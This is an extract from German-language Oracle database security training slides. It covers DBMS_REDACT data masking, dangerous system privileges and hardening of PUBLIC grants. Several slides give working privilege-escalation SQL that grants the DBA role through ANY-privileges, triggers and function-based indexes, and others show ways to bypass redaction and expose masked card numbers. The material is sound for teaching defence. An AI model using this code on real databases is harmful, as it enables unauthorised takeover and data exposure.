Page 34: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Tipps & Tricks zu den Parametern

Parameter Einstellung Beschreibung

FUNCTION_TYPE

0 NONE Keine Verschleierung (dbms_redact.none = 0)

1 FULL Feste Werte (dbms_redact.full = 1)

2 PARTIAL Teile der Spalte verschleiern

4 RANDOM Jede Abfrage wird mit zufälligen Werten beantwortet

5 REGEXP Verschleierung basierend auf regulären Ausdrücken

EXPRESSION 1=1 Maskierung immer ausführen

Weitere Prüfungen z.B. mit SYS_CONTEXT( userenv,'…') möglich. Ausführung der Maskierung nur, wenn Rückgabewert TRUE

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 19

Stichwörter: DBMS_REDACT; Parameter

Security I 1 - 19

Page 35: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Tipps & Tricks zu den Parametern (f)

Parameter Einstellung Beschreibung

FUNCTION_PARAMETERS

(Datentyp CHAR)

Input Format V = maskiert, F = ignoriert

Output Format

V = maskiert, Restliche zum Formatieren

Mask Char Maskierendes Zeichen wie '*', oder 'X'

Startposition Ab dieser Position wird maskiert

Endposition Endposition der Maskierung

DatentypNumber

Mask Char Zeichen zwischen 0 - 9 zum Maskieren

Startposition Ab dieser Position wird maskiert

Endposition Endposition der Maskierung

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 20

Stichwörter: DBMS_REDACT; Parameter

Security I 1 - 20

Page 36: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Tipps & Tricks zu den Parametern (ff)

Parameter Einstellung Beschreibung

REGEXP_MATCH_PARAMETER

i Groß - und Kleinschreibung wird nicht berücksichtigt

c Groß - und Kleinschreibung wird berücksichtigt

n Das Sonderzeichen "." kann auch für einen Zeilenumbruch stehen

m Die Zeichenkette wird als mehrzeilige Eingabe betrachtet. ^ und $ können dann für jede Zeile ange-wendet werden und nicht nur für Anfang und Ende.

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 21

Stichwörter: DBMS_REDACT; Parameter

Security I 1 - 21

Page 37: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiele zum Expression Parameter

Wenn Sie die Expression Klausel ändern, kann die Re gel nur für bestimmte Benutzer ausgeführt werden.

So wird nur der Benutzer SCOTT die veränderten Spalteninhalte sehen, alle anderen bekommen die Spalten im Original.

EXPRESSION =>q'!sys_context('USERENV','SESSION_USER') ='AQ' !'

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 22

Beispiele für sys_context

CLIENT_INFO Gibt 64 Byte über die Usersession zurück, die eine Applikation im Package DBMS_APPLICATION_INFO abgelegt hat.

CURRENT_USER Aktueller Benutzer der Session CURRENT_USERID Aktuelle Benutzer-ID der Session CURRENT_SCHEMA Aktuell eingestelltes Schema. Dies kann z. B. durch ALTER SESSION

SET CURRENT_SCHEMA=<schema>; eingeschaltet werden CURRENT_SCHEMAID Id-Nummer des aktuell eingestellten Schemas DB_DOMAIN Domain Name der Datenbank die im init.ora Parameter DB_DOMAIN

eingetragen wurde DB_NAME Datenbank Name der im init.ora Parameter DB_NAME eingetragen wurde BG_JOB_ID Job Nummer der aktuellen Session, wenn Sie durch einen Oracle

Hintergrundprozess erzeugt wurde. NULL wenn dies nicht der Fall ist FG_JOB_ID Job Nummer der aktuellen Session, wenn Sie durch einen Client Prozess erzeugt

wurde. NULL wenn dies nicht der Fall ist HOST Rechnername des Clients INSTANCE Instanznummer der aktuellen Instanz (meist 1) IP_ADDRESS IP Adresse des Clients ISDBA TRUE wenn der aktuelle Benutzer die SYSDBA Rolle besitzt. FALSE falls nicht.

Fehler in Doku: Hier steht die DBA Rolle ! LANGUAGE Sprache, Territorium und Zeichensatz der aktuellen Session in der Form:

language_territory.characterset LANG Länderkürzel (für uns "D") NETWORK_PROTOCOL benutztes Netzwerkprotokoll NLS_TERRITORY Territorium der aktuellen Session NLS_CURRENCY Währung der aktuellen Session NLS_CALENDAR Kalender der aktuellen Session NLS_DATE_FORMAT Datumsformat der aktuellen Session NLS_SORT Sortierreihenfolge der aktuellen Session SESSION_USER Benutzer der aktuellen Session, wie er authentifiziert wurde SESSION_USERID Benutzer-ID der aktuellen Session, wie er authentifiziert wurde OS_USER Betriebsystemuser der die Verbindung zur DB aufgebaut hat SESSIONID Session ID für Auditing TERMINAL Terminal Name für aktuelle Session

Stichwörter: Redaction Expression

Security I 1 - 22

Page 38: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Vordefinierte Shortcuts

Einige Prüfungen sind schon vordefiniert, jedoch ma chen in unseren Breitengraden nicht alle Sinn. (z.B. Sozialversiche rungsnummer-Format der USA)

Sinnvolle Prüfungsvarianten (Auswahl)

DBMS_REDACT.REDACT_ZIP_CODE (5 stellige Postleitzah l in VARCHAR2 Spalte wird durch XXXXX ersetzt)

DBMS_REDACT.REDACT_NUM_ZIP_CODE (5 stellige Postlei tzahl in NUMBER Spalte wird durch XXXXX ersetzt)

DBMS_REDACT.REDACT_DATE_MILLENNIUM (Datum wird erse tzt durch 01-JAN-00)

DBMS_REDACT.REDACT_DATE_EPOCH (Datum wird ersetzt d urch 01-JAN-70)

DBMS_REDACT.REDACT_CCN16_F12 (ersetzt eine 16-stell ige Kreditkartenummer in der Form 1234123412341234 durc h XXXXXXXXXXXX1234)

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 23

Stichwörter: Shortcuts

Security I 1 - 23

Page 39: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiele für die Parameter

FUNCTION_TYPE REGEXP_PATTERN REGEXP_REPLACE_STRING

Spaltenwert Ergebnis

DBMS_REDACT.FULL

123 0

DBMS_REDACT.REGEXP

'(\d{4})-(\d{4})-(\d{4})-(\d{4})'

'XXX-\4' '1234-1234-1234-6789'

'XXXX-6789'

DBMS_REDACT.REGEXP

'(\d{4})-(\d{4})-(\d{4})-(\d{4})'

'\1-0000-\2-1111'

'1234-4567-1234-6789'

'1234-0000-4567-1111'

DBMS_REDACT.REDACT_DATE_MILLENNIUM

16.06.2014 01.01.2000

DBMS_REDACT.REANDOM

'1234-1234-1234-6789'

*DZ*FLpA2Lb2NTxI:Tj

DBMS_REDACT.PARTITAL

function_parameters=>'9,1,5'

12345 6789 99999 6789

DBMS_REDACT.PARTITAL

function_parameters=>'0,1,2'

1.23 0.0 3

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 24

Spaltentyp Numberfunction_type => DBMS_REDACT.PARTIALfunction_parameters => '7,1,5', -- erste bis 5te Stelle mit 7 besetzenAusgabe der Spalte777774320 777774323 777774325Beispiel 2regexp_pattern => '(\d\d\d)(\d\d)(\d\d\d\d)', regexp_replace_string => 'XXXXX\3',Ausgabe der SpalteXXXXX1234 XXXXX5678

Security I 1 - 24

Page 40: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Redaction Verwaltungsviews

REDACTION_POLICIES

REDACTION_COLUMNS

REDACTION_VALUES_FOR_TYPE_FULL

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 25

Stichwörter: Redaction

Security I 1 - 25

Page 41: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DBMS_REDACT Beispiel

CREATE TABLE scott.kredit_card(cust_name VARCHAR2(64), card_id VARCHAR2(64));

INSERT INTO scott.kredit_card VALUES ('Marco','1234-1234-1234-1234');

EXEC dbms_redact.add_policy(…)

SELECT * FROM scott.kredit_card;

CUST_NAME CARD_ID--------- --------------------Marco XXXXX-XXXX-XXXX-1234

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 26

Stichwörter: DBMS_REDACT; Beispiel

Security I 1 - 26

Page 42: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DBMS_REDACT Beispiel (f)

BEGIN DBMS_REDACT.ADD_POLICY(

object_schema => 'SCOTT', object_name => 'KREDIT_CARD', column_name => 'CARD_ID', policy_name => 'MASK_CARD_ID', expression => '1=1', function_type => DBMS_REDACT.REGEXP, regexp_pattern => '(\d\d\d\d)-(\d\d\d\d)-(\d\d\d\d) -

(\d\d\d\d)', regexp_replace_string => 'XXXXX-XXXX-XXXX-\4');

END;/

Macht aus: 1234-1234-1234-1234 => XXXX-XXXX-XXXX-1234

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 27

BEGIN DBMS_REDACT.ADD_POLICY(

object_schema => 'SCOTT', object_name => 'KREDIT_CARD', column_name => 'CARD_ID', policy_name => 'MASK_CARD_ID', expression => '1=1', function_type => DBMS_REDACT.REGEXP, regexp_pattern => '([[:digit:]]{4})-([[:digit:]]{4} )-

([[:digit:]]{4})-([[:digit:]]{4}) ', regexp_replace_string => 'XXXX-XXXX-\3', regexp_position => 1, regexp_occurrence => 0, regexp_match_parameter => 'in');

END;/

Macht aus: 1234-1234-1234-1234 => XXXX-XXXX-1234

Stichwörter: DBMS_REDACT; Beispiel

Security I 1 - 27

Page 43: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Probleme mit DBMS_REDACT

Sie können sowohl in der WHERE wie auch in der HAVING Bedingung nach geschützten Werten fragen

SELECT * FROM scott.credit_cardWHERE card_id='1234-1234-1234-1234';

CUST_NAME CARD_ID---------- -------------------Marco XXXX-XXXX-XXXX-1234

Die verschleierten Werte spiegeln sich auch in (Gru ppen) Funktionen wider.

Zufallswerte (RANDOM) können sehr verwirrend wirken .

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 28

Bei installierter Multi-Media Option geht auch:select * from scott.credit_card where1=ordsys.ord_dicom.getmappingxpath((card_id),user,u ser);ERROR at line 1:ORA-53044: invalid tag: 1234-1234-1234-1234ORA-06512: at "ORDSYS.ORDERROR", line 5

Security I 1 - 28

Page 44: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security Bug in 12.1.0.1

Leider hat Oracle vergessen die Returning Klausel b eim Update in die Redaction einzubeziehen. Bug wurde in 12.1.0.2 gefixt ! (9.9.2014)

DECLARES VARCHAR2(100);BEGINUPDATE credit_card SET cust_name=cust_nameWHERE cust_name='Marco'RETURNING card_id INTO s;dbms_output.put_line(s);END;=>1234-1234-1234-4444

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 29

Security I 1 - 29

Page 45: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 2Rechte & Rollen

Security I 2 - 1

Page 46: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Einleitung

Oracle´s Rechte und Rollenverwaltung ist schwer zu überblicken

über 36.000 Rechte in 12.1 sind allein an Public ve rgeben (davon ca. 30.000 Java Rechte)

Rechte können nicht nur direkt, sondern auch indire kt vergeben werden

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 2

Stichwörter:

Security I 2 - 2

Page 47: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Einleitung (f)

Durch die stetige Erweiterung der Rechte und Rollenverwaltung werden immer neue Sicherheitslücke n aufgerissen.

Viele Benutzer sind sich nicht im Klaren, welche Auswirkung diverse Rechte haben

Besondere Vorsicht ist angebracht bei Rechten, die an Public vergeben wurden, bzw. Rechte mit dem ANY-Privileg

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 3

UNLIMITED TABLESPACE bedeutet, dass der Benutzer auf JEDEM Tablespace beliebig viel Platz verwenden darf. Dieses Recht ist bei der Rolle RESOURCE und DBA dabei!Die RESOURCE Rolle sollte deshalb nicht mehr benutzt werden. Sie können eine eigene Ressource Rolle definieren, die ohne UNLIMITED TABLESPACE angelegt wird.Die DBA Rolle sollte nur an ausgewählte Benutzer vergeben werden. Entwickler sollten ggf. eine eigens definierte Rolle mit den gewünschten Rechten bekommen.

Stichwörter:

Security I 2 - 3

Page 48: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Rechte bei Rollen

Achten Sie bei der Vergabe von Rechten auf folgende Punkte

UNLIMITED TABLESPACE bedeutet, dass der Benutzer au f JEDEM Tablespace beliebig viel Platz verwenden darf .

Dieses Recht ist bei der Rolle RESOURCE (bis 11.2) und DBA dabei!

Die RESOURCE Rolle sollte nicht mehr benutzt werden

Definieren Sie sich eine eigene Rolle mit folgenden Rechten:CREATE TYPE evtl. CREATE OPERATOR

CREATE TABLE evtl. CREATE CLUSTER

CREATE SEQUENCE evtl. CREATE TRIGGER

CREATE INDEXTYPE evtl. CREATE PROCEDURE

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 4

Stichwörter: Rechte bei Rollen, UNLIMITED TABLESPAC E, RESOURCE

Security I 2 - 4

Page 49: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Rechte mit ANY

Alle Privilegien mit einem ANY im Namen können auf jedem Schema angewendet werden z. B.:

DROP ANY TABLE

SELECT ANY TABLE

GRANT ANY PRIVILEGE

DROP ANY PROCEDURE

EXECUTE ANY PROCEDURE

Vergeben Sie diese Rechte nur mit äußerster Vorsich t

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 5

ALTER ANY CLUSTERALTER ANY DIMENSIONALTER ANY INDEXALTER ANY INDEXTYPEALTER ANY LIBRARYALTER ANY OUTLINEALTER ANY PROCEDUREALTER ANY ROLEALTER ANY SEQUENCEALTER ANY SNAPSHOTALTER ANY TABLEALTER ANY TRIGGERALTER ANY TYPEANALYZE ANYAUDIT ANYBACKUP ANY TABLECOMMENT ANY TABLECREATE ANY CLUSTERCREATE ANY CONTEXTCREATE ANY DIMENSIONCREATE ANY DIRECTORYCREATE ANY INDEXCREATE ANY INDEXTYPECREATE ANY LIBRARY

CREATE ANY OPERATORCREATE ANY OUTLINECREATE ANY PROCEDURECREATE ANY SEQUENCECREATE ANY SNAPSHOTCREATE ANY SYNONYMCREATE ANY TABLECREATE ANY TRIGGERCREATE ANY TYPECREATE ANY VIEWDELETE ANY TABLEDEQUEUE ANY QUEUEDROP ANY CLUSTERDROP ANY CONTEXTDROP ANY DIMENSIONDROP ANY DIRECTORYDROP ANY INDEXDROP ANY INDEXTYPEDROP ANY LIBRARYDROP ANY OPERATORDROP ANY OUTLINEDROP ANY PROCEDUREDROP ANY ROLEDROP ANY SEQUENCE

DROP ANY SNAPSHOTDROP ANY SYNONYMDROP ANY TABLEDROP ANY TRIGGERDROP ANY TYPEDROP ANY VIEWENQUEUE ANY QUEUEEXECUTE ANY INDEXTYPEEXECUTE ANY LIBRARYEXECUTE ANY OPERATOREXECUTE ANY PROCEDUREEXECUTE ANY TYPEEXTENDS ANY TYPEFORCE ANY TRANSACTIONGRANT ANY PRIVILEGEGRANT ANY ROLEINSERT ANY TABLELOCK ANY TABLEMANAGE ANY QUEUESELECT ANY SEQUENCESELECT ANY TABLEUPDATE ANY TABLE

Mittels des ALTER SESSION Rechts ist es möglich, Trace-Dateien zu erzeugen, in denen dann sensible Daten stehen können. So könnte man z. B. die sensiblen Daten eines Benutzers in einer Trace-Datei finden.

Entweder entziehen Sie den Benutzern dieses Recht, oder Sie schützen das User Dump Verzeichnis (meist <ORACLE_HOME> /admin/<sid>/udump) weil die Trace-Dateien dorthin abgelegt werden.

Der undokumentierte Parameter _TRACE_FILES_PUBLIC sollte nicht auf TRUE gesetzt sein, weil sonst die Trace-Dateien leichter von fremden Benutzern gelesen werden können

Stichwörter:Rechte, ANY

Security I 2 - 5

Page 50: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Rechte

System-Recht Beschreibung

ALTER USER Mit diesem Recht können die Passwörter von anderen Benutzen geändert werden (auch SYS!)Dieses Recht ist nur in der DBA-Rolle vorhanden

ALTER SESSION Damit können Parameter für die Session manipuliert werden (z.B. sort_area_size) oder ALTER SESSION SET current_schema=SYS;Damit kann man einfacher auf SYS-Objekte zugreifen (wenn man die Leserechte daran besitzt)

CREATE LIBRARY Mit diesem Recht können Sie Bibliotheken z.B. basierend auf Windows C-Dll´s erstellenDieses Recht ist nur in der DBA-Rolle vorhanden

CREATE ANY DIRECTORY

Damit kann ein Verzeichnis angelegt werden, in das man dann Daten schreibt (External Tables (10g), Datapump (10g)Ab Version 9.2 benutzt auch utl_file DirectoriesDieses Recht ist in der DBA und EXP_FULL_DATABASE Rolle enthaltenAchtung hiermit könnten z.B. Datendateien/Redologdateien oder Controldateien überschrieben werden

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 6

Beispiel zur LibraryZuerst muss der Listener angepasst werden(SID_DESC =

(SID_NAME = PLSExtProc) (ORACLE_HOME = d:\oracle\ora102)(PROGRAM = extproc)(ENVS="EXTPROC_DLLS=ANY")

) Für Testzwecke kann die flexiblere aber unsichere Einstellung verwendet werden:

• (ENVS="EXTPROC_DLLS=ANY")Aus Sicherheitsgründen sollte aber nur ein Verzeichnis/DLL angegeben werden

• (ENVS="EXTPROC_DLLS=c:\oracle\ora102\lib\pcporacle .dll")bzw. zwei

• (ENVS="EXTPROC_DLLS=c:\oracle\ora102\lib\myoracle. dll:c:\work\myinhouse.dll")

Danach wird die TNSNAMES.ORA editiertEXTPROC_CONNECTION_DATA =

(DESCRIPTION =(ADDRESS_LIST =

(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0)))

(CONNECT_DATA =(SID = PLSExtProc)(PRESENTATION = RO)

))

Es muss eine sogenannte Library erzeugt werden, in der dann die DLL liegt:• CREATE LIBRARY ExternProcedures AS

'c:\winnt\system32\projekt1.dll'; /

Stichwörter: Gefährliche Rechte, CREATE LIBRARY, CREATE ANY DIRECTORY

Security I 2 - 6

Page 51: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Rechte

System-Recht Beschreibung

CREATE USER Anlegen eines Benutzers mit DBA RechtenDieses Recht ist in der DBA-Rolle enthalten

BECOME USER Hiermit können Sie die Objekte eines fremden Benutzers beim Import in Ihr Schema einspielenDieses Recht ist in der DBA und IMP_FULL_DATABASE Rolle enthalten

CREATE JOB Dieses Recht gestattet die Ausführung von Jobs zu einer beliebigen TageszeitDieses Recht ist in der DBA und EXP_FULL_DATABASE Rolle enthaltenAb Version 10g gibt es noch ein Zusatzrecht (MANAGE SCHEDULE) mit dem der Zeitplan eingestellt werden kann

CREATE EXTERNAL JOB

Ausführen eines externen Jobs (z.B. mkdir, rm, del, …)

CREATE DATABASE LINK

Ist in der DBA Rolle enthalten und ermöglicht die Verbindung zu einer Remote DatenbankPasswörter der DB Links sind schlecht verschlüsselt!!!

EXECUTE ANY PROCEDURE

Beliebige Prozeduren von fremden Benutzern ausführbar wie z.B.:exec dbms_repcat_admin.grant_admin_any_schema( 'OUTLN'); /* Vergibt DBA Rechte an OUTLN*/ exec utl_file, utl_smtp, utl_mail , ....

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 7

Stichwörter: Gefährliche Rechte, CREATE LIBRARY, CREATE ANY DIRECTORY, CREATE DATABASE LINK, EXECUTE ANY PROCEDURE

Security I 2 - 7

Page 52: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Rechte

System-Recht Beschreibung

SELECT ANY DICTIONARY Damit können Tabellen aus den Data Dictionary angesehen werdenDieses Recht kann jedoch nicht über den GRANT ALL PRIVILEGES Befehl vergeben werden

EXEMPT ACCESS POLICY Damit können die Policies des dbms_fga Package umgangen werden

SELECT ANY TRANSACTION

Erlaubt das Zurücksetzen einer Transaktion mittels Flashback.Vor Version 10g war der Name FLASHBACK ANY TRANSACTION.

FLASHBACK ANY TABLE Erlaubt das Zurücksetzen einer Tabelle auf einen alten Stand mittels Flashback, ohne dass ein Backup eingespielt werden muss

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 8

Stichwörter:Gefährliche Rechte, GRANT ANY PRIVILEGE , GRANT ANY PRIVILEGE

Security I 2 - 8

Page 53: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Privilegien-Eskalation

Vorhandene Rechte: EXECUTE ANY PROCEDURE + CREATE ANY PROCEDURE

CREATE OR REPLACE PROCEDURE system.getdba ASBEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT';END;

EXEC SYSTEM.getdba;

SET Role dba;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 9

Security I 2 - 9

Page 54: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Privilegien-Eskalation (f)

Vorhandene Rechte: CREATE ANY TRIGGER

GRANT EXECUTE on getdba TO system;

CREATE OR REPLACE TRIGGER system.ol$itrBEFORE INSERT ON system.ol$ FOR EACH ROWBEGIN

scott.getdba;END;

INSERT INTO system.ol$(category)VALUES ('X');

SET Role dba;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 10

Security I 2 - 10

Page 55: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Privilegien-Eskalation (ff)

Vorhandene Rechte: CREATE ANY INDEX und CREATE PROCEDURE

CREATE OR REPLACE FUNCTION scott.getdba (x CHAR) RETURN varchar2 deterministicauthid current_user ASPRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT ';RETURN upper(x);END;

GRANT execute on getdba to system;

CREATE INDEX system.ol$inddba ON system.ol$( scott.getdba (version)); --FBI

INSERT INTO system.ol$(version) values ('x');

SET Role dba;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 11

Security I 2 - 11

Page 56: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Privilegien-Eskalation (ff)

Vorhandene Rechte: ANALYZE ANY

CREATE OR REPLACE FUNCTION getdba (x char)return char deterministicAUTHID current_user IS

PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT';

RETURN upper(x);END;

BEGIN dbms_stats.gather_table_stats('SYSTEM','HELP' ,method_opt=>'for columns ( scott.getdba(info) ) size auto'));END;

SET ROLE DBA

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 12

Security I 2 - 12

Page 57: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

ADMIN OPTION

Sie können bei Rechten auch immer angeben, dass dieses Recht auch weiter gegeben werden kann

Bei System-Rechten:

GRANT SELECT ANY TABLE TO scottWITH ADMIN OPTION;

Bei Objekt-Rechten

GRANT SELECT ON emp TO scottWITH GRANT OPTION;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 13

Stichwörter:ADMIN OPTION

Security I 2 - 13

Page 58: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Public Rechte (ff)

Der Benutzer PUBLIC sollte über möglichst wenig Rec hte verfügen, da ein Hacker der einen beliebigen Accoun t geknackt hat, dann diese Rechte bekommt

Vergeben Sie nicht die Rolle RESOURCE an PUBLIC, da sie bis 11.2.0.4 über das Recht UNLIMITED_TABLESPACE verfüg t!

Mit folgendem SELECT wird geprüft, welche System-Re chte an Public vergeben wurden:

SELECT * FROM dba_sys_privs WHERE grantee = 'PUBLIC';

Objektrechte an Public vergeben:SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC';

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 14

Eigentlich gibt es keinen Benutzer Public, denn ein Anmelden an der Datenbank unter diesem Namen scheitert. Jedoch wird er innerhalb wie ein virtueller Benutzer gehandhabt, da er der Empfänger von Rechten sein kann. Rechte, die an Public vergeben worden sind, bekommen alle Benutzer beim Anmelden. Deshalb sollte er über möglichst wenig Rechte verfügen, da ein Hacker, der einen beliebigen Account geknackt hat, dann diese Rechte auch bekommt.

SQL> GRANT RESOURCE TO public;Benutzerzugriff (Grant) wurde erteilt.

SQL> SELECT * FROM dba_sys_privs WHERE grantee = 'PUBLIC';GRANTEE PRIVILEGE ADM----------- ---------------------------------- -------PUBLIC UNLIMITED TABLESPACE NO

Hier wird geprüft, welche Rollen an Public vergeben worden sind:SQL> SELECT * FROM dba_role_privs WHERE grantee = 'PUBLIC';GRANTE GRANTED_ROLE ADM DEF--------------- ----------------------------- ----- -------PUBLIC RESOURCE NO YES

SQL> SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC';GRANTEE OWNER TABLE_NAME GRANTOR ------------------------ ---------------------------- -----------------------PUBLIC SYS USER_PART_TABLES SYS PUBLIC SYS ALL_PART_TABLES SYS PUBLIC SYS USER_PART_INDEXES SYS …Rechte von Public werden mittels Revoke entzogen, Beispiel: REVOKE CONNECT FROM public;

Stichwörter: Rechte

Security I 2 - 14

Page 59: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

PUBLIC Rechte entziehen

REVOKE EXECUTE ON utl_smtp FROM public;

REVOKE EXECUTE ON utl_file FROM public;

REVOKE EXECUTE ON utl_http FROM public;

REVOKE EXECUTE ON utl_tcp FROM public;

REVOKE EXECUTE ON dbms_random FROM public;

REVOKE EXECUTE ON dbms_metadata FROM public;

REVOKE EXECUTE ON dbms_mail FROM public;

Dafür Rechte explizit an die Benutzer:

GRANT EXECUTE ON dbms_mail to SCOTT; …

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 15

Allgemeine Syntax:

Rechte werden entzogen mittels:• REVOKE EXECUTE ON <package> FROM public;

Vergeben wieder mittels:• GRANT EXECUTE ON <package> TO public;

Alternativ können die Rechte in einer neuen Rolle gebündelt werden, die dann im Notfall einem Benutzer zugewiesen wird:

CREATE ROLE DBA_DBMS_PACK;GRANT EXECUTE ON UTL_FILE TO DBA_DBMS_PACK;GRANT EXECUTE ON UTL_TCP TO DBA_DBMS_PACK;

Stichwörter: PUBLIC Rechte entziehen

Security I 2 - 15

Page 60: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Packages

DBMS_XMLSTORE

Ermöglicht das Eintragen von Zeilen in andere Tabel len

